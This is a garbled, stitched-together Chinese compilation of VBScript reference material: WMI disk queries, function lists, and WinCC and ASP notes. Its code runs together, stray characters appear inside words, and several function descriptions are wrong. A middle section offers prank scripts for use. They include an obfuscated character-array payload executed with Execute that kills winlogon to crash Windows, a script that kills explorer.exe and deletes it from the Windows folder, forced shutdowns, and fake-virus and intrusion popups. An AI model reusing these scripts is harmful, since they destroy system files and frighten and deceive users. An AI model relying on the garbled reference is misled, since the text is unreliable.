VBS函数大集合

合集下载

(wmi)获取计算机各类软硬件信息的VBS代码集合

(wmi)获取计算机各类软硬件信息的VBS代码集合

获取计算机各类软硬件信息的VBS代码集合是VBS脚本,按键使用注意哟。

自己不需要属性就删除吧。

可以读取所有物理硬盘!!strComputer = "."Set objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate}!\\" & strComputer _& "\root\cimv2")Set colDiskDrives = objWMIService.ExecQuery _("Select * from Win32_DiskDrive")For each objDiskDrive in colDiskDrivesWscript.Echo "Bytes Per Sector: " & vbTab & _objDiskDrive.BytesPerSectorFor i = Lbound(objDiskDrive.Capabilities) to _Ubound(objDiskDrive.Capabilities)Wscript.Echo "Capabilities: " & vbTab & _objDiskDrive.Capabilities(i)NextWscript.Echo "Caption: " & vbTab & objDiskDrive.CaptionWscript.Echo "Device ID: " & vbTab & objDiskDrive.DeviceIDWscript.Echo "Index: " & vbTab & objDiskDrive.IndexWscript.Echo "Interface Type: " & vbTab & objDiskDrive.InterfaceType Wscript.Echo "Manufacturer: " & vbTab & objDiskDrive.Manufacturer Wscript.Echo "Media Loaded: " & vbTab & objDiskDrive.MediaLoaded Wscript.Echo "Media Type: " & vbTab & objDiskDrive.MediaTypeWscript.Echo "Model: " & vbTab & objDiskDrive.ModelWscript.Echo "Name: " & vbTab & Wscript.Echo "Partitions: " & vbTab & objDiskDrive.PartitionsWscript.Echo "PNP DeviceID: " & vbTab & objDiskDrive.PNPDeviceID Wscript.Echo "SCSI Bus: " & vbTab & objDiskDrive.SCSIBusWscript.Echo "SCSI Logical Unit: " & vbTab & _objDiskDrive.SCSILogicalUnitWscript.Echo "SCSI Port: " & vbTab & objDiskDrive.SCSIPortWscript.Echo "SCSI TargetId: " & vbTab & objDiskDrive.SCSITargetIdWscript.Echo "Sectors Per Track: " & vbTab & _objDiskDrive.SectorsPerTrackWscript.Echo "Signature: " & vbTab & objDiskDrive.SignatureWscript.Echo "Size: " & vbTab & objDiskDrive.SizeWscript.Echo "Status: " & vbTab & objDiskDrive.StatusWscript.Echo "Total Cylinders: " & vbTab & _objDiskDrive.TotalCylindersWscript.Echo "Total Heads: " & vbTab & objDiskDrive.TotalHeadsWscript.Echo "Total Sectors: " & vbTab & objDiskDrive.TotalSectorsWscript.Echo "Total Tracks: " & vbTab & objDiskDrive.TotalTracksWscript.Echo "Tracks Per Cylinder: " & vbTab & _objDiskDrive.TracksPerCylinderNext以上代码是读取物理磁盘信息的,非分区信息。

VBSCRIPT常用函数集

VBSCRIPT常用函数集
space():返回由指定数目的空格组成的字符串
例如:Space(10),返回10个空格组成的字符串
String(长度,string): 返回具有指定长度的、重复字符组成的
字符串
说明:
长度: 返回字符串的长度
Year: 返回时间的年份
Day: 返回日期的第几天(即1到31之间的数字)
Month: 返回日期的第几月(即1到12之间的数字)
Weekday:返回星期中的第几天(1到7之间的数字)
格式:weekday(日期[,以星期几为第一天]),默认下用星期天为第一天
Weekday(date,2)则是用星期一为第一天,用7表示用星期六为第一天
类型(要有引号括起来):
yyyy:年;q:季度;m:月;y:一年的日数;d:日;w:一周的日数;ww:周;h:小时;
n:分钟;s:秒
间隔:是数字,设值的间隔数
基数时间:是一个日期函数
例子:
NewDate = DateAdd("m", 1, "31-Jan-95")
Isnull():判断变量是否什么都没有
Isnumeric():判断是否是一个数字
Isobject():判断是否是一个对象
返回值为boolean值(true或false)
*-->常用转换类函数:
Abs():绝对值函数
Asc():返回与字符串的第一个字母对应的 ANSI 字符代码
注:上面leftb,midb,rightb表示与包含在字符串中字节数据一起使用.length
不是指定返回的字符串数,而是字节数)
Replace(字符串表达式,被搜索的子字符串,用于替换的子字符串[,比较[,数目

VBS函数一览

VBS函数一览

Abs(number)函数当相关类的一个实例结束时将发生。

Array(arglist) 函数返回一个 Variant 值,其中包含一个数组。

Asc(string)函数返回与字符串中首字母相关的 ANSI 字符编码。

Atn(number)函数返回一个数的反正切值。

CBool(expression)函数返回一个表达式,该表达式已被转换为Boolean 子类型的 Variant。

CByte(expression)函数返回一个表达式,该表达式已被转换为 Byte 子类型的 Variant。

CCur(expression)函数返回一个表达式,该表达式已被转换为Currency 子类型的 Variant。

CDate(expression)函数返回一个表达式,该表达式已被转换为 Date 子类型的 Variant。

CDbl(expression)函数返回一个表达式,该表达式已被转换为 Double 子类型的 Variant。

Chr 函数返回与所指定的 ANSI 字符编码相关的字符。

CInt(expression)函数返回一个表达式,该表达式已被转换为 Integer 子类型的 Variant。

CLng(expression)函数返回一个表达式,该表达式已被转换为 Long 子类型的 Variant。

Cos 函数返回一个角度的余弦值。

CreateObject 函数创建并返回对 Automation 对象的一个引用。

CSng(expression)函数返回一个表达式,该表达式已被转换为 Single子类型的 Variant。

CStr(expression)函数返回一个表达式,该表达式已被转换为 String 子类型的 Variant。

Date()函数返回当前的系统日期。

DateAdd(interval, number, date)函数返回已加上所指定时间后的日期值。

DateDiff(interval, date1, date2[, firstdayofweek[,firstweekofyear]])函数返回两个日期之间所隔的天数。

VBS常用函数

VBS常用函数

WinCC VBscript常用标准函数总结在WinCC软件中使用VBS进行编程的时候常常使用的标准函数整理如下:数值型函数:abs(num): 返回绝对值sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负hex(num): 返回十六进制值直接表示:&Hxx 最大8位oct(num): 返回八进制值直接表示:&Oxx 最大8位sqr(num): 返回平方根num>0int(num): 取整int(99.8)=99; int(-99.2)=100fix(num): 取整fix(99.8)=99; fix(-99.2)=99round(num,n): 四舍五入取小数位round(3.14159,3)=3.142 中点数值四舍五入为近偶取整round(3.25,1)=3.2log(num): 取以e为底的对数num>0exp(n): 取e的n次幂通常用num^nsin(num): 三角函数,以弧度为值计算(角度*Pai)/180=弧度con(num); tan(num); atn(num)2.字符串函数:len(str):计算字符串长度中文字符长度也计为一!mid(str,起始字符,[读取长度]):截取字符串中间子字符串left(str,nlen):从左边起截取nlen长度子字符串right(str,nlen):从右边起截取nlen长度子字符串Lcase(str):字符串转成小写Ucase(str):字符串转成大写trim(str):去除字符串两端空格Ltrim(str):去除字符串左侧空格Rtrim(str):去除字符串右侧空格replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法]):替换字符串注:默认值:起始字符1;替代次数不限;比较方法区分大小写(0)InStr([起始字符,]str,查找字符串[,比较方法]):检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str,查找字符串[,起始字符][,比较方法]):反向检测是否包含子字符串返回起始位置space(n):构造n个空格的字符串string(n,str):构造由n个str第一个字符组成的字符串StrReverse(str):反转字符串split(str,分割字符串[,次数][,比较方法]):以分割字符串为分割标志将字符串转为字符数组可选参数需同时选3.数据类型转换函数:Cint(str):转换正数True -1;False 0;日期距离1899/12/31天数;时间上午段0;下午段1;Cstr(str):日期输出格式yyyy/mm/dd;时间输出格式Am/Pm hh:mm:ssClng(str):与Cin()类似Cbool(num):num不为零True;反之FalseCdate(str):转换日期格式0:#Am 12:00:00#;正数距离1899/12/31天数的日期;浮点数日期+小数时间Cbyte(num):num<255 转换为字节Csng(str):转换为单精度数值Cdbl(str):转换为双精度数值Ccur(str):转换为现金格式4.时间函数:date:取系统当前日期time:取系统当前时间now:取系统当前时间及日期值Datetime类型timer:取当前时间距离零点秒值,计时器,可计算时间差DateAdd(间隔单位,间隔值,日期):推算相邻日期DateDiff(间隔单位,日期一,日期二):计算时间差日期二-日期一Datepart(间隔单位,日期):计算日期的间隔单位值Dateserial(date):输出日期值(按序列计算)Timeserial(time):输出时间值(按序列计算)DateValue(datetime):取出字符串中日期值Timevalue(datetime):取出字符串中时间值weekday(date):计算星期几MonthName(date):输出月分名year(datetime):截取年份month(datetime):截取月份day(datetime):截取日hour(datetime):截取小时minute(datetime):截取分钟second(datetime):截取秒5.其它函数:Array(unit,..):动态生成数组Asc(str):输出字符串第一个字符的ASCII码Chr(asc):转换ASCII为字符Enter:Chr(13)&Chr(10)Filter(数组名称,关键字符串,[,包含][,比较方法]):将字符串数组中含有关键字符串的元素存成新的数组(默认)[包含]为false则取不包含的元素Join(ArrayName):将数组中元素连成字符串Ubound(ArrayName[,维数]):取得数组相应维数的上界Lbound(ArrayName[,维数]):取得数组相应维数的下界一般为0Randmize n:启动随机数种子Rnd(n):取得随机数,n>0或为空,取序列下一随机值,n<0,随机值相同,n=0,生产与上一随机值相同的数取介于A和B之间的随机正数C,公式:C=Int((B-A+1)*Rnd+A) 条件(B>A)子程序和自定义函数Sub StrSubName Function StrFunName(arg[1],..)子程序体函数体Exit Sub 中途跳出Exit Function 中途跳出End Sub StrFunName=Value 返回值End Function[call] StrSubName 引用子程序Var=StrFunName(arg[1],..) 引用函数子程序和自定义函数可以递归调用;ASP六大对象常用语句示范:Response:Response.write StrVar/"String":向网页写出参数值或字符串等同于在Html标记中嵌入<%=StrVar/"String"%>Response.End:停止页面编译,并将已经编译内容输出到浏览器Response.Buffer=True|False:页面编译时是否使用缓存的设置,一般在页面头部设置Response.Flush:强制输出页面已编译部分内容Response.Clear:将缓冲区内的数据清除Response.Redirect URL:停止页面编译或输出,转载指定所需页面Response.IsClientConnected:返回True|False,检测用户是否还处于连接状态Response.Charset(CharsetName):设置页面编码类型,即<metahttp-equiv="Content-Type" content="text/html; charset=gb2312">Response.ContentType [= ContentType ]:设置页面文件类型,同上Response.Expires [= number]:设置页面失效时间,单位分钟Response.ExpiresAbsolute [= [date] [time]]:设置页面失效的绝对时间Response.Status = StatusDescription:设置页面状态描述Request:Request("PassStrName"):读取网页传递值,包括表单及以?PassStrName=value&PassStrName_n=value_n形式Request[.collection|property|method](variable)Request.querystring("PassStrName"):读取Get方法传递的表单值和?PassStrName=valueRequest.QueryString(Varible)[(Index).Count]Request.form("PassStrName"):读取Post方法传递的纯表单域的值Request.Form(Parameter)[(Index).Count]Request.ServerVaribles(Server Environment Variable):读取客户端系统环境变量,详见参考Request.BinaryRead(Count):读取指定字节数的传送值Request.TotalBytes:查询体的长度,以字节为单位,只读注:同名表单如:CheckBox如有多项值,传递形式如右,StrName=value1,value2,...需要用Split函数分割各项值Multiple的Select表单与CheckBox类似,TextArea的值可包含换行字符,用Replace转为<br>,以满足格式需要Session:(用户全局变量)Session("SesName")=value:存储Session变量值,也可读取该值Session("SesName")=Empty:判断Session值是否存在的两种方法IsEmpty(Session("SesName"))=True|False:判断Session值是否存在的两种方法Session.TimeOut=num:设置Session变量的存在时效,单位分钟Session.Abandon:清除所有Session变量值Session.SessionID:Session变量的ID序列号,只读Application:(应用程序全局变量)Application("AppName")=value:存储Application变量值,也可读取该值Application("AppName")=Empty:判断Application值是否存在的两种方法IsEmpty(Application("AppName"))=True|False:判断Application值是否存在的两种方法Application.Lock:Application变量值锁定,防止同时更改变量值Application.UnLock:Application变量值解锁,允许更改变量值注:Session与Application变量都可以用来存储数组和系统对象,引用方法是变量名相当于数组名而已,但不能直接改变其值,需要借助临时数组修改值后,再赋给Session与Application 变量Global.asa文件的结构:<% @language="VBscript"%><% Sub Application_OnStart ...End SubSub Application_OnEnd ... End SubSub Session_OnStart ...End SubSub Session_OnEnd ... End Sub%>Server:Server.MapPath("FileUrl"):映射文件名的服务器站点绝对地址,Path=Server.MapPath(./)可以得到虚拟目录根路径Server.HtmlEncode("string"):转换为可以直接显示带Html格式的字符串,如:<,>等Server.URLEncode( "string"):转换为浏览器地址编码set Var=Server.CreatObject("ObjName"):创建对象变量Server.ScriptTimeout = NumSeconds:ASP程序页面执行时限,以秒为单位Cookies: 存储在用户本机的临时变量,每个Cookie的最大字节4KB,最多可以有300个Cookie 1.2MBResponse.cookies("StrCookieName")=value:存储Cookie变量值,也可读取该值Response.cookies("StrCookieName")="":判断是否为空Response.cookies("StrCookieName").Expires=Date:变量有效期,以天为单位,小于当前时间立即失效Response.Cookies(Cookie[(key).Attribute]):标准语法ObjectContext 控制ASP的事务处理ObjectContext.OnTransactionAbort:由放弃的事务处理事件激发,在脚本完成处理后发生ObjectContext.OnTransactionCommit:由成功的事务处理事件激发,在脚本完成处理后发生ObjectContext.SetAbort:显式的放弃一次事务处理ObjectContext.SetComplete:覆盖前面任何调用ObjectContext.SetAbort方法的调用Msgbox "string"/StrName:VBscript提示框表单的Onsubmit事件:在同一页面写入Function FormName_onsubmit()..FormName_onsubmit=True/False..end Function,页面会在提交前先执行语句,并根据返回值判断是否完成提交任务。

VBS经典代码大全

VBS经典代码大全
strComputer = puterName
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
--------------------------------------------------------------------------------
7磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
For Each objComputer in colComputers
Wscript.Echo
Next
--------------------------------------------------------------------------------
4检查升级包
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."

VBS函数大集合

VBS函数大集合

VBS函数‎大集合收‎藏‎A bs 函‎数返回数‎的绝对值。

‎And‎运算符‎执行两个表‎达式的逻辑‎连接。

‎A rray‎函数返‎回含一数组‎的变体‎。

As‎c函数‎返回字符串‎首字母的‎A NSI ‎字符代码。

‎赋值运‎算符 (=‎)给变量‎或属性赋值‎。

At‎n函数‎返回数的反‎正切值。

‎调用语句‎将控制移‎交 Sub‎或 Fu‎n ctio‎n过程。

‎CBo‎o l 函数‎返回已被‎转换为 B‎o olea‎n子类型‎的变体的表‎达式。

‎C Byte‎函数返‎回已被转换‎为字节子类‎型的变体的‎表达式。

‎CCur‎函数返‎回已被转换‎为货币子类‎型的变体的‎表达式。

‎CDat‎e函数‎返回已被转‎换为日期子‎类型的变体‎的表达式。

‎CDb‎l函数‎返回已被转‎换为双精度‎子类型的变‎体的表达式‎。

Ch‎r函数‎返回指定‎A NSI ‎字符码的字‎符。

C‎I nt 函‎数返回已‎被转换为整‎数子类型的‎变体的表达‎式。

C‎l ass ‎对象提供‎对已创建的‎类的事件的‎访问。

‎C lass‎语句声‎明类名‎C lear‎方法清‎除 Err‎对象的所‎有属性设置‎。

‎C Lng ‎函数返回‎已被转换为‎Long‎子类型的‎变体的表达‎式。

颜‎色常数颜‎色常数列表‎。

比较‎常数用于‎比较运算的‎常数列表。

‎连接运‎算符 (&‎)强制两‎个表达式的‎字符串连接‎。

‎C onst‎语句声‎明用于字母‎值的常数。

‎Cos‎函数返‎回角度的余‎弦值。

‎C reat‎e Obje‎c t 函数‎创建并返‎回对“自动‎”对象的引‎用。

C‎S ng 函‎数返回已‎被转换为单‎精度子类型‎的变体的表‎达式。

‎C Str ‎函数返回‎已被转换为‎字符串子类‎型的变体的‎表达式。

‎日期和时‎间常数在‎日期和时间‎运算中用来‎定义星期几‎和其他常数‎的常数列表‎。

日期‎格式常数‎用于日期和‎时间格式的‎常数列表。

VBScript函数大全

VBScript函数大全

Math 函数
函数 描述
Abs 返回指定数字的绝对值。
Atn 返回指定数字的反正切。
Cos 返回指定数字(角度)的余弦。
Exp 返回 e(自然对数的底)的幂次方。
Hex 返回指定数字的十六进制值。
Int 返回指定数字的整数部分。
Fix 返回指定数字的整数部分。
Log 返回指定数字的自然对数。
Oct 返回指定数字的余弦值。
Rnd 返回小于1但大于或等于0的一个随机数。
Sgn 返回可指示指定的数字的符号的一个整数。
Sin 返回指定数字(角度)的正弦。
Sqr 返回指定数字的平方根。
Tan 返回指定数字(角度)的正切。
LCase 把指定字符串转换为小写。
Left 从字符串的左侧返回指定数目的字符。
Len 返回字符串中的字符数目。
LTrim 删除字符串左侧的空格。
RTrim 删除字符串右侧的空格。
Trim 删除字符串左侧和右侧的空格。
Mቤተ መጻሕፍቲ ባይዱd 从字符串返回指定数目的字符。
Replace 使用另外一个字符串替换字符串的指定部分指定的次数。
FormatDateTime 返回以日期或时间格式化的表达式。
Hour 返回可代表一天中的小时的数字 (介于并包括0至23之间)
IsDate 返回可指示计算表达式能否转换为日期的布尔值。
Minute 返回一个数字,代表小时的分钟 (介于并包括0至59)
Month 返回一个数字,代表年的月份 (介于并包括1至12之间)。
CInt 把表达式转换为整数(Integer)类型。
CLng 把表达式转换为长整形(Long)类型。

(完整word版)VBS函数大全,推荐文档

(完整word版)VBS函数大全,推荐文档

Array 函数 (3)Asc 函数 (4)Atn 函数 (4)CBool 函数 (5)CByte 函数 (5)CCur 函数 (6)CDate 函数 (7)CDbl 函数 (7)Chr 函数 (8)CInt 函数 (8)CLng 函数 (9)Cos 函数 (10)CreateObject 函数 (10)CSng 函数 (12)CStr 函数 (12)Date 函数 (13)DateAdd 函数 (14)DateDiff 函数 (14)DatePart 函数 (15)DateSerial 函数 (17)DateValue 函数 (18)Day 函数 (18)Eval 函数 (19)Exp 函数 (20)Filter 函数 (20)FormatCurrency 函数 (22)FormatDateTime 函数 (23)FormatNumber 函数 (24)FormatPercent 函数 (25)GetLocale 函数 (26)GetObject 函数 (27)GetRef 函数 (29)Hex 函数 (30)Hour 函数 (31)InputBox 函数 (31)InStr 函数 (32)InStrRev 函数 (34)Int、Fix 函数 (36)IsArray 函数 (36)IsDate 函数 (37)IsEmpty 函数 (38)IsNull 函数 (38)IsNumeric 函数 (39)Join 函数 (40)LBound 函数 (41)LCase 函数 (41)Left 函数 (42)Len 函数 (43)LoadPicture 函数 (43)Log 函数 (44)LTrim、RTrim 和Trim 函数 (44)Mid 函数 (45)Minute (46)Month 函数 (46)MonthName 函数 (46)MsgBox 函数 (47)Now (49)Oct (50)Replace 函数 (50)RGB 函数 (52)Right 函数 (53)Rnd 函数 (53)Round 函数 (54)Microsoft(R) Visual Basic(R) Scripting Edition (55)ScriptEngineMajorVersion 函数 (56)ScriptEngineMinorVersion 函数 (56)Second 函数 (57)SetLocale 函数 (57)Sgn 函数 (58)Sin 函数 (59)Space 函数 (60)Split 函数 (60)Sqr 函数 (61)StrComp 函数 (62)String 函数 (63)StrReverse 函数 (64)Tan 函数 (64)Time 函数 (65)Timer 函数 (65)TimeSerial 函数 (65)TimeValue (66)TypeName 函数 (67)UBound 函数 (68)UCase 函数 (69)VarType 函数 (69)Weekday 函数 (70)Year 函数 (73)VBS函数大全Abs 函数返回数字的绝对值。

vbs脚本看懂了就成才了!!vbs代码命令集合大全

vbs脚本看懂了就成才了!!vbs代码命令集合大全
Set fso = Wscript.CreateObject("Scripting.FileSystemObject") ‘声明
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
eg:
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1","0"
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+

代码大全VBS格式

代码大全VBS格式

代码大全VBS格式vbs格式代码第一个domsgbox "hi"loop第二个Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop第三个if MsgBox("对不起,您灌水太多需要重新启动计算机。

"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将立刻重起wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if第四个'这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,1 3,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,11 5,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119 ,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,10 8,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,4 6,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45, 99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,11 0,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner第五个if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if第六个Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0第七个set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"第八个Set ws=WScript.CreateObject("WScript.Shell")ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64wscript.sleep 100000ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10ws.popup"正在下载windows更新……",12wscript.sleep 10000ws.popup"windows更新已下载完毕,正在安装更新……",12wscript.sleep 3000msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?"msgbox"软件名:comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小:1.21MB "&vbcrlf&""&vbcrlf&" 发行者:幻想丶永恒(403746401)"&vbcrlf&""&vbcrlf&" 安全状况:有病毒",vbinformationmsgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"msgbox"阻止失败,请检查防火墙是否开启"wscript.sleep 15000ws.popup"windows更新安装成功!",vbinfmation,20msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformationws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10 ws.run"/doc/8ac10e7a168884868762d6d9.html /403746401/infocenter"msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformationws.popup"我再打开中国神泣官方网站",10ws.run"/doc/8ac10e7a168884868762d6d9.html/index.htm"ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。

(完整版)VBS函数大全,推荐文档

(完整版)VBS函数大全,推荐文档

Array 函数 (3)Asc 函数 (4)Atn 函数 (4)CBool 函数 (5)CByte 函数 (5)CCur 函数 (6)CDate 函数 (7)CDbl 函数 (7)Chr 函数 (8)CInt 函数 (8)CLng 函数 (9)Cos 函数 (10)CreateObject 函数 (10)CSng 函数 (12)CStr 函数 (12)Date 函数 (13)DateAdd 函数 (14)DateDiff 函数 (14)DatePart 函数 (15)DateSerial 函数 (17)DateValue 函数 (18)Day 函数 (18)Eval 函数 (19)Exp 函数 (20)Filter 函数 (20)FormatCurrency 函数 (22)FormatDateTime 函数 (23)FormatNumber 函数 (24)FormatPercent 函数 (25)GetLocale 函数 (26)GetObject 函数 (27)GetRef 函数 (29)Hex 函数 (30)Hour 函数 (31)InputBox 函数 (31)InStr 函数 (32)InStrRev 函数 (34)Int、Fix 函数 (36)IsArray 函数 (36)IsDate 函数 (37)IsEmpty 函数 (38)IsNull 函数 (38)IsNumeric 函数 (39)Join 函数 (40)LBound 函数 (41)LCase 函数 (41)Left 函数 (42)Len 函数 (43)LoadPicture 函数 (43)Log 函数 (44)LTrim、RTrim 和Trim 函数 (44)Mid 函数 (45)Minute (46)Month 函数 (46)MonthName 函数 (46)MsgBox 函数 (47)Now (49)Oct (50)Replace 函数 (50)RGB 函数 (52)Right 函数 (53)Rnd 函数 (53)Round 函数 (54)Microsoft(R) Visual Basic(R) Scripting Edition (55)ScriptEngineMajorVersion 函数 (56)ScriptEngineMinorVersion 函数 (56)Second 函数 (57)SetLocale 函数 (57)Sgn 函数 (58)Sin 函数 (59)Space 函数 (60)Split 函数 (60)Sqr 函数 (61)StrComp 函数 (62)String 函数 (63)StrReverse 函数 (64)Tan 函数 (64)Time 函数 (65)Timer 函数 (65)TimeSerial 函数 (65)TimeValue (66)TypeName 函数 (67)UBound 函数 (68)UCase 函数 (69)VarType 函数 (69)Weekday 函数 (70)Year 函数 (73)VBS 函数大全Abs 函数返回数字的绝对值。

VBS函数大全

VBS函数大全

Array 函数 (3)Asc 函数 (4)Atn 函数 (4)CBool 函数 (5)CByte 函数 (5)CCur 函数 (6)CDate 函数 (7)CDbl 函数 (7)Chr 函数 (8)CInt 函数 (8)CLng 函数 (9)Cos 函数 (10)CreateObject 函数 (10)CSng 函数 (12)CStr 函数 (12)Date 函数 (13)DateAdd 函数 (14)DateDiff 函数 (14)DatePart 函数 (15)DateSerial 函数 (17)DateValue 函数 (18)Day 函数 (18)Eval 函数 (19)Exp 函数 (20)Filter 函数 (20)FormatCurrency 函数 (22)FormatDateTime 函数 (23)FormatNumber 函数 (24)FormatPercent 函数 (25)GetLocale 函数 (26)GetObject 函数 (27)GetRef 函数 (29)Hex 函数 (30)Hour 函数 (31)InputBox 函数 (31)InStr 函数 (32)InStrRev 函数 (34)Int、Fix 函数 (36)IsArray 函数 (36)IsDate 函数 (37)IsEmpty 函数 (38)IsNull 函数 (38)IsNumeric 函数 (39)Join 函数 (40)LBound 函数 (41)LCase 函数 (41)Left 函数 (42)Len 函数 (43)LoadPicture 函数 (43)Log 函数 (44)LTrim、RTrim 和Trim 函数 (44)Mid 函数 (45)Minute (46)Month 函数 (46)MonthName 函数 (46)MsgBox 函数 (47)Now (49)Oct (50)Replace 函数 (50)RGB 函数 (52)Right 函数 (53)Rnd 函数 (53)Round 函数 (54)Microsoft(R) Visual Basic(R) Scripting Edition (55)ScriptEngineMajorVersion 函数 (56)ScriptEngineMinorVersion 函数 (56)Second 函数 (57)SetLocale 函数 (57)Sgn 函数 (58)Sin 函数 (59)Space 函数 (60)Split 函数 (60)Sqr 函数 (61)StrComp 函数 (62)String 函数 (63)StrReverse 函数 (64)Tan 函数 (64)Time 函数 (65)Timer 函数 (65)TimeSerial 函数 (65)TimeValue (66)TypeName 函数 (67)UBound 函数 (68)UCase 函数 (69)VarType 函数 (69)Weekday 函数 (70)Year 函数 (73)VBS函数大全Abs 函数返回数字的绝对值。

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VBS函数大集合 收藏
Abs 函数 返回数的绝对值。
And 运算符 执行两个表达式的逻辑连接。
Array 函数 返回含一数组的 变体 。
Asc 函数 返回字符串首字母的 ANSI 字符代码。
赋值运算符 (=) 给变量或属性赋值。
Atn 函数 返回数的反正切值。
调用语句 将控Biblioteka 移交 Sub 或 Function 过程。
Chr 函数 返回指定 ANSI 字符码的字符。
CInt 函数 返回已被转换为整数子类型的变体的表达式。
Class 对象 提供对已创建的类的事件的访问。
Class 语句 声明类名
Clear 方法 清除 Err 对象的所有属性设置。
CLng 函数 返回已被转换为 Long 子类型的变体的表达式。
Exp 函数 返回 e (自然对数的底)的多少次方。
自乘运算符 (^) 指数函数,幂为自变量。
False 关键字,其值为零。
FileSystemObject 对象 提供对计算机文件系统的访问。
Filter 函数 根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。
FirstIndex 属性 返回字符串匹配的位置。
GetRef 函数 返回对可以绑定到事件的过程的引用。
Global 属性 设置或返回 Boolean 值。
Hex 函数 返回表示数的十六进制值的字符串。
HelpContext 属性 设置或返回帮助文件中某主题的上下文 ID。
HelpFile 属性 设置或返回帮助文件的全路径。
Hour 函数 返回小时数,取值范围为 0 至 23。
字符串常数 字符串常数的列表。
String 函数 返回重复的字符串,达到指定的长度。
StrReverse 函数 返回一字符串,其中字符的顺序与指定的字符串中的顺序相反。
Sub 语句 声明形成 Sub 过程体的名称、参数和代码。
减法运算符 (-) 求两数之差,或表示某数值表达式的相反数。
DatePart 函数 返回给定日期 的指定部分。
DateSerial 函数 返回指定年月日的 日期子类型的变体 。
DateValue 函数 返回日期子类型的变体 。
Day 函数 返回日期,取值范围为 1 至 31。
Description 属性 返回或者设置说明某个错误的字符串。
Private 语句 声明私有变量并分配存储空间。
PropertyGet 语句 声明在窗体属性过程中获取(返回)属性值的名称,参数和代码。
